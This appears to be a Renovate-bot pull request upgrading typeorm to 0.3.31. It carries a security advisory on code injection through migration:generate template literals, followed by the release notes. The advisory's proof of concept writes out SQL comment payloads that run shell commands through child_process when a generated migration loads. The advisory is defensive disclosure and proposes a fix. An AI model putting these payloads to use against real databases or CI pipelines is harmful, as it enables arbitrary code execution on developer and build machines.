Skip to content

chore(deps): update dependency typeorm to v0.3.31 [security] - #101

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-typeorm-vulnerability
Open

chore(deps): update dependency typeorm to v0.3.31 [security]#101
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/npm-typeorm-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jul 24, 2026

Copy link
Copy Markdown
Contributor

This PR contains the following updates:

Package Change Age Confidence
typeorm (source) 0.3.300.3.31 age confidence

TypeORM: migration:generate template-literal code injection

CVE-2026-73651 / GHSA-2rp8-mm9q-fp49

More information

Details

Summary

typeorm migration:generate embeds database schema metadata into JS/TS template literals, escaping backticks but not ${...}. An attacker who can write schema metadata (column comments, defaults, view definitions) achieves arbitrary code execution on the host that loads the generated migration.

Details

MigrationGenerateCommand.ts (L117-138) wraps each SQL statement in a JS template literal, escaping only backticks:

"        await queryRunner.query(`" +
    upQuery.query.replaceAll("`", "\\`") +
    "`" + ...

Introspected schema strings reach this sink through driver query runners:

Driver Metadata source Source
Postgres column DEFAULT, COMMENT, CHECK constraints, view definitions PostgresQueryRunner.ts:1782, L1898, L2287, L4125
MySQL/MariaDB COLUMN_DEFAULT, COLUMN_COMMENT MysqlQueryRunner.ts:2873-2974, L3580-3583
CockroachDB Same patterns as Postgres CockroachQueryRunner.ts

escapeComment() on each driver strips only null bytes, leaving ${...} intact:

protected escapeComment(comment?: string) {
    if (!comment) return comment
    comment = comment.replaceAll("\u0000", "")
    return comment
}

When the migration file is loaded (migration:run, import, or require), the JS engine evaluates ${...} as live interpolation.

Affected source:

File Lines Role
MigrationGenerateCommand.ts 117-138 Template-literal construction (sink)
PostgresDriver.ts 1886-1891 escapeComment() — Postgres
MysqlDriver.ts 1322-1328 escapeComment() — MySQL
CockroachDriver.ts 1236-1241 escapeComment() — CockroachDB

Confirmed injection vectors (MySQL):

Vector Result Notes
Column COMMENT Confirmed Proven in PoC below
Column DEFAULT Confirmed Attacker sets ALTER TABLE ... DEFAULT '${...}'; payload appears in generated migration
CHECK constraint Not exploitable MySQL information_schema.CHECK_CONSTRAINTS strips content from CHECK_CLAUSE
View definitions Not tested Requires PostgreSQL ViewEntity introspection; likely exploitable via pg_get_viewdef()

Suggested fix: Escape ${ to \${ (and \\ to \\\\) before embedding query strings into template literals, or switch to emitting the SQL as a JSON.stringify()-encoded regular string argument.

PoC

Prerequisites:

  • Any supported RDBMS (PostgreSQL, MySQL, MariaDB, CockroachDB, SQL Server, Oracle, SAP HANA, or Spanner) accessible to the developer running migration:generate
  • The attacker has DDL/write access to the database, or the application exposes a feature allowing users to set column COMMENT, DEFAULT, or view definition text

Steps:

  1. Inject payload into schema metadata. Set a column comment or default containing ${...}:
-- PostgreSQL
COMMENT ON COLUMN users.name IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';

-- MySQL
ALTER TABLE users MODIFY COLUMN name VARCHAR(255) COMMENT '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}';
  1. Run migration generation on the developer/CI machine:
npx typeorm migration:generate -d ./data-source.ts ./migrations/NextMigration
  1. Inspect the generated file. The output .ts file contains unescaped ${...}:
export class NextMigration1234567890 implements MigrationInterface {
  public async up(queryRunner: QueryRunner): Promise<void> {
    await queryRunner.query(
      `COMMENT ON COLUMN "users"."name" IS '${process.mainModule.require("child_process").execSync("id > /tmp/pwned")}'`,
    );
  }
  // ...
}
  1. Run or revert the migration:
npx typeorm migration:revert -d ./data-source.ts

Output confirms code execution — id ran on the host and its output was interpolated into the SQL:

ALTER TABLE `user` CHANGE `name` `name` varchar(255) NULL COMMENT 'uid=501(user) gid=20(staff) groups=20(staff),12(everyone),...'

The payload appears in whichever migration direction restores the DB's current state. A malicious DB comment with a clean entity comment places it in down(). Attacker-influenced entity metadata places it in up(). Either direction executes the code when the method runs.

Impact

Code injection / RCE. An attacker with DB schema write access executes arbitrary JavaScript on any machine that generates and loads the migration. This crosses the DB-to-host trust boundary.

CI/CD pipelines that auto-generate and run migrations are the highest-risk target. Any TypeORM user running migration:generate against a database with attacker-influenced schema metadata is affected.

Severity

  • CVSS Score: 5.7 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

typeorm/typeorm (typeorm)

v0.3.31

Compare Source

Bug Fixes
  • cache: release query runner on error in storeInCache (#​12545) (a84b9b3)
  • correct grammar in AlreadyHasActiveConnectionError message (#​12554) (304d129)
  • entity-manager: default invalidWhereValuesBehavior to throw on the write path (#​12690) (44d8052)
  • entity-manager: validate where criteria in increment/decrement (#​12692) (8a51b75)
  • mongodb: use cursor.transform for doc to entity transformation and skip load broadcast in next if toArray (#​11926) (0bbefc9)
  • move hashing function to PlatformTools (#​12648) (c456cbd)
  • multiple recursive cte problems (#​12490) (7c26654)
  • normalization of FindOptionsWhere for arrays and Buffers (#​12577) (a8173fc)
  • persistence: preserve select false columns on the in-memory entity after save() (#​12501) (324c46c)
  • postgres: improve normalizeDatetimeFunction for tstzrange data type (#​12182) (bf47c9f)
  • query-builder: reject empty where criteria on update and delete operations (#​12629) (81b9466)
  • query-builder: wrap inner joins under left joins correctly (#​11137) (d5f4b9d)
  • remove require() calls that break bundlers (#​12647) (30f9fc7)
  • tree-entity: tree entity schema propagation in internal TreeRepository methods (#​12590) (7fb7c2c)

Full Changelog: typeorm/typeorm@0.3.30...0.3.31


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants